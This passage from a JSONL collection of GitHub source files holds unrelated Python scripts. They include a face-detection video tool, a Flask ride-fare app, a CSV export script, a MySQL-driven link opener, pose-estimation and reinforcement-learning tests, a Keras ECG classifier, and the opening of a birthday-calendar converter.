lines]\n columns = []\n while lines:\n columns.append(lines[:max_rows])\n lines = lines[max_rows:]\n\n for column in columns[1:]:\n if len(column) < len(columns[0]):\n column += [column[-1]] * (len(columns[0]) - len(column))\n columns = [np.concatenate(column, axis=0) for column in columns]\n return np.concatenate(columns, axis=1)\n\n\ndef main():\n args = parse_arguments()\n detector = MTCNN()\n face_database = FaceDB(args.model, args.resolution, args.similarity_threshold)\n capture = cv2.VideoCapture(args.video)\n\n while capture.isOpened():\n for i in range(10):\n ret, frame = capture.read()\n if not ret:\n break\n\n if args.input_scale != 1.0:\n frame = cv2.resize(frame, (0,0), fx=args.input_scale, fy=args.input_scale, interpolation=cv2.INTER_AREA)\n\n all_bb, all_landmarks = detector.detect_faces_raw(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n\n all_landmarks = all_landmarks.reshape(2, 5, -1)\n all_landmarks = np.transpose(all_landmarks, (2, 1, 0))\n all_landmarks = [l for l, b in zip(all_landmarks, all_bb) if b[4] > args.detection_threshold]\n\n for landmarks in all_landmarks:\n face_database.add_face(frame, landmarks)\n\n collage = face_database.draw_faces()\n if collage is not None:\n cv2.imshow('faces', collage)\n\n cv2.imshow('video', frame)\n key = cv2.waitKey(10)\n if key == 27:\n break\n\n #detector.detect_faces(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"michal-hradis/mess_identification","sub_path":"video_faces.py","file_name":"video_faces.py","file_ext":"py","file_size_in_byte":5308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"33197023651","text":"def binary_search(entire_page, find_page):\n start = 1\n end = entire_page\n cnt = 0\n while start <= end:\n middle = (start + end) // 2\n if middle == find_page:\n cnt += 1\n return cnt\n elif middle > find_page:\n end = middle\n cnt += 1\n else:\n start = middle\n cnt += 1\n\n\nT = int(input())\n\nfor tc in range(1, T + 1):\n P, A, B = map(int, input().split())\n a = binary_search(P, A)\n b = binary_search(P, B)\n\n if a < b:\n print(f'#{tc} A')\n elif a > b:\n print(f'#{tc} B')\n else:\n print(f'#{tc} 0')","repo_name":"Yangjunyeong/algorithm_practice","sub_path":"12391 . 배열2_이진탐색_확인용.py","file_name":"12391 . 배열2_이진탐색_확인용.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"25673263120","text":"from flask import Flask, render_template, request, jsonify\nimport requests, sys, json\n# sys.path.insert(0, os.getcwd()+\"/uberAPI\")\n# import uberAPI.uber_request as ur\n# sys.path.append(\"/test_flask/\")\nimport uberapi.uber_request as ur\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('estimate.html')\n\n\n\n@app.route('/postText', methods=['POST'])\ndef live_rate():\n # receive JSON\n req = request.json\n # Geocodes\n start_lat = req[\"start_lat\"]\n start_long = req[\"start_long\"]\n dest_lat = req[\"dest_lat\"]\n dest_long = req[\"dest_long\"]\n\n budget = req[\"budget\"]\n ride_type = req[\"ridetype\"]\n seat_count = req[\"seatcount\"]\n\n # Create rede request class here\n ride_request = ur.UberRequest(budget,start_lat,start_long,dest_lat,dest_long,seat_count)\n\n ride_rates = ride_request.get_estimate_price()\n \n # Initiate returning data\n return_data = {}\n\n # iterate to find uber rates here\n for rate in ride_rates:\n # add pool, x, xl in json\n if rate[\"display_name\"] in (\"UberPool\", \"UberX\", \"UberXL\"):\n return_data[rate[\"display_name\"]] = rate[\"display_name\"] + \":\\t\" +str(rate[\"high_estimate\"])\n # set the cost to compare against budget in liveRate\n if rate[\"display_name\"] == ride_type:\n return_data[\"cost\"] = rate[\"high_estimate\"]\n \n # return_data = {\n # \"start_lat\":ride_request.start_lat,\"start_long\":start_long,\n # \"dest_lat\":dest_lat,\"dest_long\":dest_long, \n # \"budget\":budget, \"ridetype\":ride_type, \"seatcount\":seat_count}\n # return jsonify(ResultSet=json.dumps(return_data))\n return jsonify(ResultSet=json.dumps(return_data))\n \n\n# MAIN BELOW RUNS APP\nif __name__ == '__main__':\n app.run(debug = True, port=8080)\n","repo_name":"MasayoshiI/ride_ready","sub_path":"ride_ready_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"30756513085","text":"#!/usr/bin/python3\n\"\"\"\nextend my pyrhon script to exprot data to a csv file\n\"\"\"\n\nfrom csv import DictWriter, QUOTE_ALL\nimport requests\nfrom sys import argv\n\n\nif __name__ == '__main__':\n if len(argv) != 2:\n print(\"USAGE : pyton3 1-export_to_CSV.py userId\\n or\")\n print(\"./1-export_to_CSV.py userId\")\n else:\n userId = argv[1]\n filename = \"{}.csv\".format(userId)\n urlTodos = \"https://jsonplaceholder.typicode.com/todos?userId={}\"\n urlUsers = \"https://jsonplaceholder.typicode.com/users/{}\"\n resUser = requests.get(urlUsers.format(userId))\n user = resUser.json()\n usrname = user['username']\n resTodos = requests.get(urlTodos.format(userId))\n todos = resTodos.json()\n todo_list = []\n for td in todos:\n todo_dict = {}\n cplt = td['completed']\n title = td['title']\n todo_dict['userId'] = userId\n todo_dict['username'] = usrname\n todo_dict['completed'] = cplt\n todo_dict['task'] = title\n todo_list.append(todo_dict)\n with open(filename, 'a', newline='') as f:\n header = [\"userId\", \"username\", \"completed\", \"task\"]\n wrtr = DictWriter(f, fieldnames=header, quoting=QUOTE_ALL)\n wrtr.writerows(todo_list)\n","repo_name":"WassCodeur/alx-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"35269300143","text":"import base64\nimport pymysql\nfrom time import sleep\nimport subprocess\nimport ctypes\n\nwith open(\"./db.pass\", \"r\") as pasw:\n pas = base64.b64decode(pasw.read().rstrip()).decode('UTF-8')\n\nwith open(\"./linker.ip\", \"r\") as config:\n ip = config.read().rstrip()\n\n\ndef log(err):\n with open(\"./log.txt\", \"a\") as daLog:\n daLog.write(str(err))\n\n\ndef parseInjection(txt):\n return txt.replace('\"', '\\\\\"').replace('\\'', '\\\\\\'').replace('\\\\', '\\\\\\\\')\n\n\ndef connect():\n err = 0\n while err < 3:\n try:\n return pymysql.connect(ip, 'phpmyadmin', pas, 'PI', autocommit=True)\n except Exception as e:\n log(e)\n err += 1\n ctypes.windll.user32.MessageBoxW(0, u\"Algo fallo en la conexión a la base de datos\", u\"Error (Linker.py)\", 0)\n exit()\n\ndb = connect()\nerr = 0\nwhile err < 3:\n try:\n cursor = db.cursor()\n except Exception as e:\n err += 1\n db = connect()\n try:\n cursor.execute(\"SELECT LINK FROM LINKS\")\n rows = cursor.fetchall()\n for row in rows:\n log(row[0])\n result = subprocess.Popen(['C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe', row[0]])\n cursor.execute(\"DELETE FROM LINKS WHERE LINK = '\" + parseInjection(row[0]) + \"'\")\n cursor.close()\n err = 0\n except Exception as e:\n err += 1\n log(e)\n sleep(20)\nctypes.windll.user32.MessageBoxW(0, u\"Algo fallo descargando los links de la DDBB\", u\"Error (Linker.py)\", 0)\n","repo_name":"rubenaguadoc/RaspiControlPanelTelegramBot","sub_path":"linkManager/link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"2481672912","text":"from opts import Opts\nfrom models.s2mpmr import S2MPMR\nfrom progress.bar import Bar\nfrom datasets.dataloader_mupots import MuPoTS\nimport torch.nn as nn\nimport torch\nimport ref\nimport numpy as np\nimport os.path as osp\nimport scipy.io as sio\n\ninds = [13,-1,8,7,6,9,10,11,2,1,0,3,4,5,-2,-3,12]\n\ndef Test(coord):\n # Options\n opt = Opts().parse()\n opt.dataset = 'fusion2'\n if coord == 'cam':\n opt.coord = 'cam'\n elif coord == 'relative':\n opt.coord = 'relative'\n\n # Set gpu number\n gpus = [0]\n\n # Build models\n generator = S2MPMR(opt).cuda()\n generator = nn.DataParallel(generator, device_ids=gpus)\n\n file_name = 'final_model.pth'\n state = torch.load(file_name)\n generator.load_state_dict(state['generator'])\n\n loader_test = torch.utils.data.DataLoader(\n dataset=MuPoTS('test'),\n batch_size=1,\n shuffle=False,\n num_workers=ref.num_threads\n )\n\n generator.eval()\n\n num_iters = len(loader_test)\n bar = Bar('==>', max=num_iters)\n\n pred_2d_save = {}\n pred_3d_save = {}\n\n with torch.no_grad():\n for i, data_test in enumerate(loader_test):\n inp = data_test['img'].cuda()\n gt_root = data_test['root_img'].cuda()\n k_value = data_test['k_value'].cuda()\n\n cam_f = data_test['cam_f'][0].cuda()\n cam_c = data_test['cam_c'][0].cuda()\n gt_index = data_test['gt_index'][0].cuda()\n ori_shape = data_test['ori_shape'][0].cuda()\n\n img_name = data_test['img_name'][0]\n spine3d = data_test['spine3d'][0].cuda()\n spine2d = data_test['spine2d'][0].cuda()\n\n\n res_out = ref.res_out\n res_in = ref.res_in\n res_ratio = res_in / res_out\n\n # Forward propagation\n generator_output = generator(inp, k_value)\n (pred_detect, pred_thetas, pred_camera, pred_verts, pred_j3d, pred_j2d, pred_root,\n pred_bbox) = generator_output\n\n grid_x = int(gt_index[1].item() * res_ratio + res_ratio / 2)\n grid_y = int(gt_index[0].item() * res_ratio + res_ratio / 2)\n\n if gt_index[0].item() > 13 or gt_index[1].item() > 13 or gt_index[0].item() < 0 or gt_index[1].item() < 0:\n continue\n\n # camera coordinate of predicted root joint\n pred_root = pred_root[0, int(gt_index[0].item()), int(gt_index[1].item())].detach().view(3)\n pred_root[0] += grid_x\n pred_root[1] += grid_y\n pred_root[0] = pred_root[0] * ori_shape[0] / res_in\n if ori_shape[0] == ori_shape[1]:\n pred_root[1] = pred_root[1] * ori_shape[1] / res_in\n else:\n pred_root[1] = (pred_root[1] - 98.) * ori_shape[0] / res_in\n pred_root[0] = (pred_root[0] - cam_c[0]) / cam_f[0] * pred_root[2]\n pred_root[1] = (pred_root[1] - cam_c[1]) / cam_f[1] * pred_root[2]\n\n # camera coordinate of gt root joint\n gt_root = gt_root[0, int(gt_index[0].item()), int(gt_index[1].item())].detach().view(3)\n gt_root[0] += grid_x\n gt_root[1] += grid_y\n gt_root[0] = gt_root[0] * ori_shape[0] / res_in\n if ori_shape[0] == ori_shape[1]:\n gt_root[1] = gt_root[1] * ori_shape[1] / res_in\n else:\n gt_root[1] = (gt_root[1] - 98.) * ori_shape[0] / res_in\n gt_root[0] = (gt_root[0] - cam_c[0]) / cam_f[0] * gt_root[2]\n gt_root[1] = (gt_root[1] - cam_c[1]) / cam_f[1] * gt_root[2]\n\n pred3d = pred_j3d[0, int(gt_index[0].item()), int(gt_index[1].item())].detach().view(19, 3)\n\n if opt.coord == 'relative':\n pred3d_abs = pred3d + gt_root\n elif opt.coord == 'cam':\n pred3d_abs = pred3d + pred_root\n\n pred3d_cam = pred3d_abs.cpu().numpy().copy()\n pred2d = np.zeros((19, 3))\n\n pred2d[:, 0] = pred3d_cam[:, 0] * cam_f[0].item() / pred3d_cam[:, 2] + cam_c[0].item()\n pred2d[:, 1] = pred3d_cam[:, 1] * cam_f[1].item() / pred3d_cam[:, 2] + cam_c[1].item()\n pred2d[:, 2] = pred3d_cam[:, 2]\n\n pred_2d_kpt = np.zeros((17, 3))\n pred_3d_kpt = np.zeros((17, 3))\n\n for j in range(17):\n if inds[j] == -1:\n pred_2d_kpt[j] = (pred2d[8] + pred2d[9]) * .5\n elif inds[j] == -2:\n pred_2d_kpt[j] = (pred2d[2] + pred2d[3]) * .5\n elif inds[j] == -3:\n pred_2d_kpt[j][:2] = spine2d.cpu().numpy().copy()\n pred_2d_kpt[j][2] = spine3d[2].cpu().numpy().copy()\n else:\n pred_2d_kpt[j] = pred2d[inds[j]]\n if img_name in pred_2d_save:\n pred_2d_save[img_name].append(pred_2d_kpt[:, :2])\n else:\n pred_2d_save[img_name] = [pred_2d_kpt[:, :2]]\n\n for j in range(17):\n if inds[j] == -1:\n pred_3d_kpt[j] = (pred3d_cam[8] + pred3d_cam[9]) * .5\n elif inds[j] == -2:\n pred_3d_kpt[j] = (pred3d_cam[2] + pred3d_cam[3]) * .5\n elif inds[j] == -3:\n pred_3d_kpt[j] = spine3d.cpu().numpy().copy()\n else:\n pred_3d_kpt[j] = pred3d_cam[inds[j]]\n if img_name in pred_3d_save:\n pred_3d_save[img_name].append(pred_3d_kpt)\n else:\n pred_3d_save[img_name] = [pred_3d_kpt]\n\n Bar.suffix = '[{0}/{1}]| Tot: {total:} | ETA: {eta:} '.format(\n i, num_iters, total=bar.elapsed_td, eta=bar.eta_td)\n\n bar.next()\n\n bar.finish()\n\n output_path = osp.join('./matlab', 'preds_2d_kpt_mupots.mat')\n sio.savemat(output_path, pred_2d_save)\n print(\"Testing result is saved at \" + output_path)\n output_path = osp.join('./matlab', 'preds_3d_kpt_mupots.mat')\n sio.savemat(output_path, pred_3d_save)\n print(\"Testing result is saved at \" + output_path)\n\nif __name__ == \"__main__\":\n coord = 'cam' # cam or relative\n Test(coord)\n","repo_name":"seonghyunkim1212/S2MPMR","sub_path":"test_mupots.py","file_name":"test_mupots.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"40050619053","text":"\nfrom talon.voice import Context, Key, Str, press\nfrom ..utils import is_filetype\n\n\nctx = Context(\"md\", func=is_filetype((\"md\",)))\nctx.keymap(\n {\n \"math times\": \" \\\\cdot \",\n \"left arrow\": \" \\\\leftarrow \",\n \"math mode\": [\"$$\", Key(\"left\")]\n\n }\n)\n\n\n","repo_name":"Gauteab/talon-commands","sub_path":"starter/lang/md.py","file_name":"md.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"11529867201","text":"# pip install dash_core_components==0.5.3rc1\n\nimport dash\nfrom dash.dependencies import Input, Output\nimport dash_html_components as html\nimport dash_core_components as dcc\n\napp = dash.Dash()\n\napp.layout = html.Div([\n # This \"header\" will persist across pages\n html.H2('Multi Page Dash App'),\n\n # Each \"page\" will modify this element\n html.Div(id='content-container'),\n\n # This Location component represents the URL bar\n dcc.Location(id='url', refresh=False)\n], className=\"container\")\n\n@app.callback(\n Output('content-container', 'children'),\n [Input('url', 'pathname')])\ndef display_page(pathname):\n print(pathname)\n if pathname == '/':\n return html.Div([\n html.Div('You are on the index page.'),\n\n # the dcc.Link component updates the `Location` pathname\n # without refreshing the page\n dcc.Link(html.A('Go to page 2 without refreshing!'), href=\"/page-2\", style={'color': 'blue', 'text-decoration': 'none'}),\n html.Hr(),\n html.A('Go to page 2 but refresh the page', href=\"/page-2\")\n ])\n elif pathname == '/page-2':\n return html.Div([\n html.H4('Welcome to Page 2'),\n dcc.Link(html.A('Go back home'), href=\"/\"),\n ])\n else:\n return html.Div('I guess this is like a 404 - no content available')\n\n# app.css.append_css({\"external_url\": \"https://codepen.io/chriddyp/pen/bWLwgP.css\"})\n\napp.scripts.config.serve_locally = True\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"plotly/dash-recipes","sub_path":"urls/multi_page.py","file_name":"multi_page.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":1022,"dataset":"github-code","pt":"98"} +{"seq_id":"35571150402","text":"# Faça um programa que leia três números e mostre qual é o maior e qual é o menor.\n\nn1 = float(input('Primeiro número: '))\nn2 = float(input('Segundo número: '))\nn3 = float(input('Terceiro número: '))\nlista = [n1, n2, n3]\nmaior = max(lista)\nmenor = min(lista)\nprint('O maior valor foi o {:.0f}.'.format(maior))\nprint('O menor valor foi o {:.0f}.'.format(menor))\n","repo_name":"caueoliveira07/ex-python","sub_path":"ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"30546523565","text":"#Given an input string, reverse the string word by word.\n#\n#For example,\n#Given s = \"the sky is blue\",\n#return \"blue is sky the\".\n#\n#Update (2015-02-12):\n#For C programmers: Try to solve it in-place in O(1) space.\n\nclass Solution(object):\n\tdef reverseWords(self, s):\n\t\t\"\"\"\n\t\t:type s: str\n\t\t:rtype: str\n\t\t\"\"\"\n\t\tl=list(s.split(' '))\n\t\tl=filter(None, l)\n\t\tl= l[::-1]\n\t\tz=\"\"\n\t\tfor i in xrange(len(l)):\n\t\t\tif i>0:\n\t\t\t\tz+=\" \"\n\t\t\tz+=l[i]\n\t\treturn z","repo_name":"95subodh/Leetcode","sub_path":"151. Reverse Words in a String.py","file_name":"151. Reverse Words in a String.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"24628733432","text":"from keras.layers import Convolution1D\nfrom keras.models import Sequential\nfrom keras.layers import Activation, Dense, Flatten, Dropout\nfrom data import process_data\nfrom keras import backend as K\nimport numpy as np\nimport os\n\nif not os.listdir('datasets/processed'):\n process_data()\n\narrhy_data = np.loadtxt(open('datasets/processed/arrhythmia.csv', 'r'), skiprows=1)\nmalignant_data = np.loadtxt(open('datasets/processed/malignant-ventricular-ectopy.csv', 'r'), skiprows=1)\narrhy_data = arrhy_data[:len(malignant_data)]\narrhy_len = len(arrhy_data)/500\n\ni = 0\nX_train = []\ninter_X_train = []\ninter_y_train = []\ny_train = []\nnb_filters = 32\nnb_epoch = 10\nbatch_size = 8\ncounter = 0\n\nfor _ in range(arrhy_len):\n counter += 1\n if not (counter % batch_size):\n X_train.append(inter_X_train)\n y_train.append(inter_y_train)\n inter_X_train = []\n inter_y_train = []\n\n inter_X_train.append(np.asarray(arrhy_data[i:i+500]))\n inter_y_train.append(0)\n inter_X_train.append(np.asarray(malignant_data[i:i+500]))\n inter_y_train.append(1)\n i += 500\n\nvalidation_size = int(0.1 * len(X_train))\n\n# remove the bugged batch\nX_train.pop(0)\ny_train.pop(0)\n\n# split training and testing sets\nX_train, X_test = np.split(X_train, [len(X_train)-validation_size])\ny_train, y_test = np.split(y_train, [len(y_train)-validation_size])\n\n# checking batch lengths\nfor batch in X_train:\n if len(batch) != 16:\n print(\"uneven batch with len: {}\".format(len(batch)))\n for example in batch:\n if len(example) != 500:\n print(\"uneven example with len: {}\".format(len(example)))\n\n\n# shape = (X_train.shape[0], 16, 500)\nshape = X_train.shape[1:]\n\n# in numpy if arrays are not the same shape they will not appear in the .shape method\nprint(\"shape: {}\".format(shape))\n\nmodel = Sequential()\nmodel.add(Convolution1D(nb_filters, 3, input_shape=shape, activation='relu'))\nmodel.add(Dropout(0.25))\nmodel.add(Convolution1D(nb_filters, 3, activation='relu'))\nmodel.add(Dropout(0.25))\n\nmodel.add(Flatten())\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1))\nmodel.add(Activation('softmax'))\n\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\nprint(\"ok\")\nmodel.fit(X_train, y_train, batch_size=batch_size,\n nb_epoch=nb_epoch, validation_data=(X_test, y_test))","repo_name":"hedrox/ecg-classification","sub_path":"old_keras_impl/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"98"} +{"seq_id":"33664481121","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport gym\nimport numpy as np\nimport tensorflow as tf\nimport time\nimport unittest\n\nimport ray\nfrom ray.rllib.agents.ppo import PPOAgent\nfrom ray.rllib.agents.ppo.ppo_policy_graph import PPOPolicyGraph\nfrom ray.rllib.evaluation import SampleBatch\nfrom ray.rllib.evaluation.policy_evaluator import PolicyEvaluator\nfrom ray.rllib.optimizers import AsyncGradientsOptimizer, AsyncSamplesOptimizer\nfrom ray.rllib.tests.mock_evaluator import _MockEvaluator\n\n\nclass AsyncOptimizerTest(unittest.TestCase):\n def tearDown(self):\n ray.shutdown()\n\n def testBasic(self):\n ray.init(num_cpus=4)\n local = _MockEvaluator()\n remotes = ray.remote(_MockEvaluator)\n remote_evaluators = [remotes.remote() for i in range(5)]\n test_optimizer = AsyncGradientsOptimizer(local, remote_evaluators,\n {\"grads_per_step\": 10})\n test_optimizer.step()\n self.assertTrue(all(local.get_weights() == 0))\n\n\nclass PPOCollectTest(unittest.TestCase):\n def tearDown(self):\n ray.shutdown()\n\n def testPPOSampleWaste(self):\n ray.init(num_cpus=4)\n\n # Check we at least collect the initial wave of samples\n ppo = PPOAgent(\n env=\"CartPole-v0\",\n config={\n \"sample_batch_size\": 200,\n \"train_batch_size\": 128,\n \"num_workers\": 3,\n })\n ppo.train()\n self.assertEqual(ppo.optimizer.num_steps_sampled, 600)\n ppo.stop()\n\n # Check we collect at least the specified amount of samples\n ppo = PPOAgent(\n env=\"CartPole-v0\",\n config={\n \"sample_batch_size\": 200,\n \"train_batch_size\": 900,\n \"num_workers\": 3,\n })\n ppo.train()\n self.assertEqual(ppo.optimizer.num_steps_sampled, 1000)\n ppo.stop()\n\n # Check in vectorized mode\n ppo = PPOAgent(\n env=\"CartPole-v0\",\n config={\n \"sample_batch_size\": 200,\n \"num_envs_per_worker\": 2,\n \"train_batch_size\": 900,\n \"num_workers\": 3,\n })\n ppo.train()\n self.assertEqual(ppo.optimizer.num_steps_sampled, 1200)\n ppo.stop()\n\n # Check legacy mode\n ppo = PPOAgent(\n env=\"CartPole-v0\",\n config={\n \"sample_batch_size\": 200,\n \"train_batch_size\": 128,\n \"num_workers\": 3,\n \"straggler_mitigation\": True,\n })\n ppo.train()\n self.assertEqual(ppo.optimizer.num_steps_sampled, 200)\n ppo.stop()\n\n\nclass SampleBatchTest(unittest.TestCase):\n def testConcat(self):\n b1 = SampleBatch({\"a\": np.array([1, 2, 3]), \"b\": np.array([4, 5, 6])})\n b2 = SampleBatch({\"a\": np.array([1]), \"b\": np.array([4])})\n b3 = SampleBatch({\"a\": np.array([1]), \"b\": np.array([5])})\n b12 = b1.concat(b2)\n self.assertEqual(b12[\"a\"].tolist(), [1, 2, 3, 1])\n self.assertEqual(b12[\"b\"].tolist(), [4, 5, 6, 4])\n b = SampleBatch.concat_samples([b1, b2, b3])\n self.assertEqual(b[\"a\"].tolist(), [1, 2, 3, 1, 1])\n self.assertEqual(b[\"b\"].tolist(), [4, 5, 6, 4, 5])\n\n\nclass AsyncSamplesOptimizerTest(unittest.TestCase):\n @classmethod\n def tearDownClass(cls):\n ray.shutdown()\n\n @classmethod\n def setUpClass(cls):\n ray.init(num_cpus=8)\n\n def testSimple(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(local, remotes, {})\n self._wait_for(optimizer, 1000, 1000)\n\n def testMultiGPU(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(local, remotes, {\n \"num_gpus\": 2,\n \"_fake_gpus\": True\n })\n self._wait_for(optimizer, 1000, 1000)\n\n def testMultiGPUParallelLoad(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(local, remotes, {\n \"num_gpus\": 2,\n \"num_data_loader_buffers\": 2,\n \"_fake_gpus\": True\n })\n self._wait_for(optimizer, 1000, 1000)\n\n def testMultiplePasses(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"minibatch_buffer_size\": 10,\n \"num_sgd_iter\": 10,\n \"sample_batch_size\": 10,\n \"train_batch_size\": 50,\n })\n self._wait_for(optimizer, 1000, 10000)\n self.assertLess(optimizer.stats()[\"num_steps_sampled\"], 5000)\n self.assertGreater(optimizer.stats()[\"num_steps_trained\"], 8000)\n\n def testReplay(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"replay_buffer_num_slots\": 100,\n \"replay_proportion\": 10,\n \"sample_batch_size\": 10,\n \"train_batch_size\": 10,\n })\n self._wait_for(optimizer, 1000, 1000)\n self.assertLess(optimizer.stats()[\"num_steps_sampled\"], 5000)\n self.assertGreater(optimizer.stats()[\"num_steps_replayed\"], 8000)\n self.assertGreater(optimizer.stats()[\"num_steps_trained\"], 8000)\n\n def testReplayAndMultiplePasses(self):\n local, remotes = self._make_evs()\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"minibatch_buffer_size\": 10,\n \"num_sgd_iter\": 10,\n \"replay_buffer_num_slots\": 100,\n \"replay_proportion\": 10,\n \"sample_batch_size\": 10,\n \"train_batch_size\": 10,\n })\n self._wait_for(optimizer, 1000, 1000)\n self.assertLess(optimizer.stats()[\"num_steps_sampled\"], 5000)\n self.assertGreater(optimizer.stats()[\"num_steps_replayed\"], 8000)\n self.assertGreater(optimizer.stats()[\"num_steps_trained\"], 40000)\n\n def testRejectBadConfigs(self):\n local, remotes = self._make_evs()\n self.assertRaises(\n ValueError, lambda: AsyncSamplesOptimizer(\n local, remotes,\n {\"num_data_loader_buffers\": 2, \"minibatch_buffer_size\": 4}))\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"num_gpus\": 2,\n \"train_batch_size\": 100,\n \"sample_batch_size\": 50,\n \"_fake_gpus\": True\n })\n self._wait_for(optimizer, 1000, 1000)\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"num_gpus\": 2,\n \"train_batch_size\": 100,\n \"sample_batch_size\": 25,\n \"_fake_gpus\": True\n })\n self._wait_for(optimizer, 1000, 1000)\n optimizer = AsyncSamplesOptimizer(\n local, remotes, {\n \"num_gpus\": 2,\n \"train_batch_size\": 100,\n \"sample_batch_size\": 74,\n \"_fake_gpus\": True\n })\n self._wait_for(optimizer, 1000, 1000)\n\n def _make_evs(self):\n def make_sess():\n return tf.Session(config=tf.ConfigProto(device_count={\"CPU\": 2}))\n\n local = PolicyEvaluator(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy_graph=PPOPolicyGraph,\n tf_session_creator=make_sess)\n remotes = [\n PolicyEvaluator.as_remote().remote(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy_graph=PPOPolicyGraph,\n tf_session_creator=make_sess)\n ]\n return local, remotes\n\n def _wait_for(self, optimizer, num_steps_sampled, num_steps_trained):\n start = time.time()\n while time.time() - start < 30:\n optimizer.step()\n if optimizer.num_steps_sampled > num_steps_sampled and \\\n optimizer.num_steps_trained > num_steps_trained:\n print(\"OK\", optimizer.stats())\n return\n raise AssertionError(\"TIMED OUT\", optimizer.stats())\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"qiuwenhui/ray","sub_path":"python/ray/rllib/tests/test_optimizers.py","file_name":"test_optimizers.py","file_ext":"py","file_size_in_byte":8263,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"31180287569","text":"'''https://leetcode.com/problems/valid-palindrome/\n125. Valid Palindrome\nEasy\n\n2557\n\n4442\n\nAdd to List\n\nShare\nGiven a string s, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.\n\n \n\nExample 1:\n\nInput: s = \"A man, a plan, a canal: Panama\"\nOutput: true\nExplanation: \"amanaplanacanalpanama\" is a palindrome.\nExample 2:\n\nInput: s = \"race a car\"\nOutput: false\nExplanation: \"raceacar\" is not a palindrome.\n \n\nConstraints:\n\n1 <= s.length <= 2 * 105\ns consists only of printable ASCII characters.'''\n\n\nclass Solution:\n def isPalindrome(self, s: str) -> bool:\n l, r = 0, len(s)-1\n\n while l <= r:\n if not s[l].isalpha() and not s[l].isdigit():\n l += 1\n continue\n if not s[r].isalpha() and not s[r].isdigit():\n r -= 1\n continue\n if s[l].lower() == s[r].lower():\n l, r = l+1, r-1\n continue\n else:\n return False\n return True\n\n\nif __name__ == \"__main__\":\n s = Solution()\n res = s.isPalindrome(\"A man, a plan, a canal: Panama\")\n print(res)\n","repo_name":"shreejitverma/SDE-Interview-Prep","sub_path":"Competitive Programming/Blind 75 Must Do Leetcode/Valid Palindrome.py","file_name":"Valid Palindrome.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"98"} +{"seq_id":"15590371044","text":"#!/usr/bin/python3\n\"\"\"\nThis is a Python tool that converts an .vcf and .html from Instagram export to table where birthdays can be put in. Then it can be converted to a calendar. It uses the following modules:\nbs4 for HTML scraping\nics for generating an ics calendar\npandas for reading xlsx files\nxlwt for writing xlsx files\ndatetime for date and time operations\nThe main function in this code is main(). The main() function checks the command line arguments and calls other functions based on the arguments.\nThe get_names_from_vcf(file) function reads a vcf file and returns a list of names from the file.\nThe get_names_from_insta(file) function reads an html file from Instagram export and returns a list of names from the file.\nThe generate_xlsx_file(names) function takes a list of names as input and generates an excel sheet from it.\nThe create_calendar(file_path) function reads data from an excel sheet, creates events for birthdays and saves the calendar in ics format.\nIt is assumed that the functions get_names_from_vcf(file), get_names_from_insta(file), generate_xlsx_file(names) and create_calendar(file_path) are defined and have the necessary functionality.\nthe --convert flag converts .vcf and .html to table\nthe --to_calendar flag convets .xlsx to ics calendar\n\"\"\"\nfrom bs4 import BeautifulSoup\nfrom ics import Calendar, Event\nfrom openpyxl import Workbook\nfrom openpyxl import load_workbook\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nimport xlwt\nimport sys\nimport datetime\nimport pandas as pd\n\n\ndef get_names_from_vcf(file:str):\n \"\"\"\n file: 